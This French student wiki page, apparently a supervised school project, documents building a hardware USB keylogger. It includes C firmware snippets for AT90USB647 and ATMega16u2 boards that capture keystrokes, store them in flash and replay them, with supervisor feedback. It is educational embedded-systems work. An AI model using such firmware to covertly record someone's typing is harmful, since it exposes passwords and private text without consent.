&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
